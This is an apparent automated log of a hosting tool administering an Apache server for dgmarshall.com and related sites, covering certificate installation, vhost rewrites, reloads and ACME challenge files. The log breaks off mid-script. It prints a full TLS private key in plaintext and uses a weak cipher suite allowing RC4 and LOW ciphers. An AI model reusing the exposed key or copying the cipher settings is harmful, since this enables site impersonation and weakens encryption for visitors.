Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-12-01 06:00:25: 

chmod 755 /tmp/pkp349510; /tmp/pkp349510; rm /tmp/pkp349510

2025-12-01 06:00:25: 


dir=/etc/ssl/certs


2025-12-01 06:00:25: 

PUT: /tmp/pkp716130

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/dgmarshall_www_com.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-12-01 06:00:25: 

chmod 755 /tmp/pkp716130; /tmp/pkp716130; rm /tmp/pkp716130

2025-12-01 06:00:25: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/dgmarshall_www_com.conf 42

<VirtualHost *:80>
    ServerName	dgmarshall.com
    ServerAlias	www.dgmarshall.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/dgmarshall_www
    <Directory /var/www/dgmarshall_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/dgmarshall/www_access.log combined
    ErrorLog	/var/log/apache2/dgmarshall/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	dgmarshall.com
    ServerAlias	www.dgmarshall.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/dd152e01fe9ba41e566c0f966e8e26d3.crt
    DocumentRoot	/var/www/dgmarshall_www
    <Directory /var/www/dgmarshall_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/dgmarshall/www_secure_access.log combined
    ErrorLog	/var/log/apache2/dgmarshall/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-12-01 06:00:25: 

PUT: /tmp/pkp694682

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=dgmarshall_www_com.conf
TARGET=/etc/apache2/sites-enabled/dgmarshall_www_com.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	dgmarshall.com
    ServerAlias	www.dgmarshall.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/dgmarshall_www
    <Directory /var/www/dgmarshall_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/dgmarshall/www_access.log combined
    ErrorLog	/var/log/apache2/dgmarshall/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	dgmarshall.com
    ServerAlias	www.dgmarshall.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/dd152e01fe9ba41e566c0f966e8e26d3.crt
    DocumentRoot	/var/www/dgmarshall_www
    <Directory /var/www/dgmarshall_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/dgmarshall/www_secure_access.log combined
    ErrorLog	/var/log/apache2/dgmarshall/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/dgmarshall_www_com.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/dgmarshall_www_com.conf)= /etc/apache2//etc/apache2/sites-enabled/dgmarshall_www_com.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/dgmarshall_www_com.conf= 1'
fi


2025-12-01 06:00:25: 

chmod 755 /tmp/pkp694682; /tmp/pkp694682; rm /tmp/pkp694682

2025-12-01 06:00:26: 




2025-12-01 06:00:26: 

PUT: /tmp/pkp575945

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-12-01 06:00:26: 

chmod 755 /tmp/pkp575945; /tmp/pkp575945; rm /tmp/pkp575945

2025-12-01 06:00:26: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-12-01 06:00:26: Establishing a connection
2025-12-01 06:00:26: 

PUT: /tmp/pkp794666

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-12-01 06:00:26: 

chmod 755 /tmp/pkp794666; /tmp/pkp794666; rm /tmp/pkp794666

2025-12-01 06:00:26: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:2)
                 alias www.bucketgigs.ca
         port 80 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:2)
                 alias www.dgmarshall.ca
         port 80 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:2)
                 alias www.dgmarshall.com
         port 80 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:2)
         port 80 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:2)
         port 80 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:2)
         port 80 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:2)
         port 80 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:2)
         port 80 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:2)
         port 80 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:2)
                 alias www.drewmarshall.ca
         port 80 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:2)
                 alias www.hillrunfarm.ca
         port 80 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:2)
                 alias www.ineedtosaythis.com
         port 80 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:2)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
*:443                  is a NameVirtualHost
         default server bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
         port 443 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
                 alias www.bucketgigs.ca
         port 443 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:23)
                 alias www.dgmarshall.ca
         port 443 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:23)
                 alias www.dgmarshall.com
         port 443 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:19)
         port 443 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:22)
         port 443 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:22)
         port 443 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:22)
         port 443 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:19)
         port 443 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:22)
         port 443 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:20)
                 alias www.drewmarshall.ca
         port 443 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:23)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
                 alias www.hillrunfarm.ca
         port 443 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:20)
                 alias www.ineedtosaythis.com
         port 443 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:25)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-12-01 06:00:26: 

PUT: /tmp/pkp741551

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/dgmarshall_www_com.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-01 06:00:26: 

chmod 755 /tmp/pkp741551; /tmp/pkp741551; rm /tmp/pkp741551

2025-12-01 06:00:26: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/dgmarshall_www_com.conf	1383

<VirtualHost *:80>
    ServerName	dgmarshall.com
    ServerAlias	www.dgmarshall.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/dgmarshall_www
    <Directory /var/www/dgmarshall_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/dgmarshall/www_access.log combined
    ErrorLog	/var/log/apache2/dgmarshall/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	dgmarshall.com
    ServerAlias	www.dgmarshall.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/dd152e01fe9ba41e566c0f966e8e26d3.crt
    DocumentRoot	/var/www/dgmarshall_www
    <Directory /var/www/dgmarshall_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/dgmarshall/www_secure_access.log combined
    ErrorLog	/var/log/apache2/dgmarshall/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-12-01 06:00:26: 

PUT: /tmp/pkp950848

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/dd152e01fe9ba41e566c0f966e8e26d3.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-01 06:00:26: 

chmod 755 /tmp/pkp950848; /tmp/pkp950848; rm /tmp/pkp950848

2025-12-01 06:00:26: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/dd152e01fe9ba41e566c0f966e8e26d3.crt	5372
0e:99:b4:3a:75:7e:72:5c:b1:9c:48:d7:a1:8c:1d:77

-----BEGIN CERTIFICATE-----
MIIFDDCCA/SgAwIBAgISBucLWnPVdM870RVhKAkhCTk2MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjAxMDUwMTU0WhcNMjYwMzAxMDUwMTUzWjAZMRcwFQYDVQQD
Ew5kZ21hcnNoYWxsLmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AL17M+Mlzrk62SO6bFYEPAfydVGvmWGAxY0E9H10jlc92Ie+7DUXPDkaxg9YTK3K
aooo+uY1kNixlXmOhE1fQPmBhIniel1+ngUrRGkdqHuJCHeZUW34nVlW9ufTbw+I
tB9+3x9lyKG6amDxMEbyWTzhDv/sz75bD3GnQg5pepEGSfQpidj+/HEN96cQMY0s
Mj2y/zd1kaKD0CA13Em0CHc5Bs4YN2Qg8RtXp84xOZUtKSLkmUCUJ3GBksMkaO0Q
sA+9grCQflpKdPzLDKmAhq3Il6c47pBp9jq2+TDlHHuIMu7/304n8D3UILrSYKHm
VHylMDJ5PtWN64nF3EMT1NMCAwEAAaOCAjIwggIuMA4GA1UdDwEB/wQEAwIFoDAd
BgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQU4l7ppxAuxG8AJhXZSm55tZ97atAwHwYDVR0jBBgwFoAU56ufDywzoFPT
Xk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEzLmkubGVuY3Iub3JnLzAtBgNVHREEJjAkgg5kZ21hcnNoYWxsLmNvbYISd3d3
LmRnbWFyc2hhbGwuY29tMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUw
I6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvNTUuY3JsMIIBBAYKKwYBBAHW
eQIEAgSB9QSB8gDwAHYASZybad4dfOz8Nt7Nh2SmuFuvCoeAGdFVUvvp6ynd+MMA
AAGa2H96+AAABAMARzBFAiAY+zl5QNin2DpZn3VFljTkdxCv1M9F0TZCcDBT061D
uQIhAN5YE5RrgwWk1HI7LMaTe9iDDoMcdDRjmeGnftVSgRq8AHYAlpdkv1VYl633
Q4doNwhCd+nwOtX2pPM2bkakPw/KqcYAAAGa2H97UQAABAMARzBFAiBbm6mLBBaQ
xVEAYLuQCad4TZNS9r6NXlzApYLBe/yrngIhAP5iWFQcr7ZLQ+33Bzcn3ZF+SXdw
uUDitJ7ZO+dDuOXlMA0GCSqGSIb3DQEBCwUAA4IBAQAO7/ow791Xtb+tXoHtvDnc
Y0FpZaN49mz4EjnoRV5tNajvvttQT7Iey39PVRGmckChg2NFDDb7WnPUK9YzpATm
DIX6ushfZyIlw6+kTzTJfM5EWtlbg9v3FRk9ik1Q0y4rdbjBsWlpDOM08HYVXsV6
mvnEAVzlwv6JBRDjjZxSPaW5VCUdHfF21oAX+M10aP8RVthsk23dLQLoM+E12y2P
t1pwQwFXLX0TVZXhQ3j3sM1PwZmOUB2VnxzCMewIVfOYcd3XSNtMI/usK95cQyCS
szF+TTx/O/7SrpsFuUldLP1Zotg5S1hCxrWms8lqChtSjax88eJzJJw+hnR7CY6O
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQC9ezPjJc65Otkj
umxWBDwH8nVRr5lhgMWNBPR9dI5XPdiHvuw1Fzw5GsYPWEytymqKKPrmNZDYsZV5
joRNX0D5gYSJ4npdfp4FK0RpHah7iQh3mVFt+J1ZVvbn028PiLQfft8fZcihumpg
8TBG8lk84Q7/7M++Ww9xp0IOaXqRBkn0KYnY/vxxDfenEDGNLDI9sv83dZGig9Ag
NdxJtAh3OQbOGDdkIPEbV6fOMTmVLSki5JlAlCdxgZLDJGjtELAPvYKwkH5aSnT8
ywypgIatyJenOO6QafY6tvkw5Rx7iDLu/99OJ/A91CC60mCh5lR8pTAyeT7VjeuJ
xdxDE9TTAgMBAAECggEAFRsYGIEpmbBYZ4Zoctxd43S6ZLLuntG9L4wRv7ev8z/M
UrKNlQxVhPbagPMQ93rIi0MtT19AFyMQx018pzGpByHKJaG4h5mG+IRtRlgrYDdP
XiMR0vISdNUfA4uln1FW3vs+1zx7MKiXGN1Ex2JPVlyrUw6JxWZXPg2nafuNz4F2
ukkH4H4/Taqp57509aRmlM0UqwkSQ+E7cu6IJB4XFWPt5JBa+PPWa9p99UJ1KnBo
h8jxVbrfriGVsxS8vTtjmXWz44zm5jCAZwCFgEtgz82ET6uNO4tyyVU5ydsWMqoP
calYWWgrZqtm/k61Vu9K46L6wz401FKWVd0EOSi/oQKBgQDkaPXNcyLCiDABF5hK
d8yOi8IzrH55LHDMaYbfyGBPIEtiFzUrpEKX5Y9/53m+P+DZro3Ytake4+LAo77v
CB6M1+w6I6E6XbdxbcW2CdaZU/gvGv49sWCmhf+5QhMyKPhrPLgH60g/pFgr1TZE
NAmB0Uue3HdKICRal7YlZtoJnwKBgQDUXnaSHzpbcCmV963iK6EjuRs/H+ALhc12
T8sS2yoXM3k9vGtEp6ST2v4ZCnjVo2AgCPpFtY3Xj/Xv1l5UF3CisoL2lio8KcN1
MrAspzUuL6Z2ZK1DWVTWV27mMJPpj0qNElczcyCbvUvIynotWDz8phgdrBoUmjg8
oAYaPPsQTQKBgALoGwisSGr1VLcO189Kyv2dZbFGpq1gFWdkiGTcpe0b2hm7dd/C
TV6lezgDeBcltPTQNdnmJerQt5f//XQJRGpCbS0oOusFOkplPTjd0y9MVEI1M7sR
QMudtO1km93ti4vB0A25vsegjcaxBenER8KxKScyYwo8cnn8qEK9llS9AoGAOonj
YznqayQKwoToUGy4WVF/+jF+H479aLxr/MGe45BTvjm+08jmK790xVBGqJUFPS9c
VXTLKX1MTJUpoUJo0OAmC3SvJbBZaWfUeiqJFTcbSo1L2UG5ie/F6PvA+eN+qE5C
7TKx7VwLlMiDTxaAkR/zi9JRyhYMpGFz7S2cAw0CgYA9ld1sWZsOqKvnWbaVWOD1
zDuCx1tTNIeOIRq0rEFbABlQ5yAYy6GkwSQ/P9RwbZOoIOVGaZCI7wl36EEwlHdX
hEItm5olzc7Cxhkd9h8pj1SZAL2sGs/6dfzmWYt1d5gLogrnlVnwAj7+Nzq5jPhG
hjQvsZSeRsZOH7NYyjfbig==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2025-12-01 06:00:26: Establishing a connection
2025-12-01 06:00:26: Establishing a connection
2025-12-01 06:00:27: 

PUT: /tmp/pkp651486

#!/bin/bash
if [ -d "/var/www/hillrunfarm_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-12-01 06:00:27: 

chmod 755 /tmp/pkp651486; /tmp/pkp651486; rm /tmp/pkp651486

2025-12-01 06:00:27: 


1


2025-12-01 06:00:27: Establishing a connection
2025-12-01 06:00:28: 

PUT: /tmp/pkp277437

#!/bin/bash
mkdir -p "/var/www/hillrunfarm_www/.well-known/acme-challenge/"
cd "/var/www/hillrunfarm_www/.well-known/acme-challenge/"
cat > TNWVI_onp115Cji2ezgGrdrnqtVYQyVqSMH6Gy81mI0 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
TNWVI_onp115Cji2ezgGrdrnqtVYQyVqSMH6Gy81mI0.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 TNWVI_onp115Cji2ezgGrdrnqtVYQyVqSMH6Gy81mI0
cat > 6OdGI74AxHs0bwtxu6yNslAXAvj0Xqz0_QmAVWejxts <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
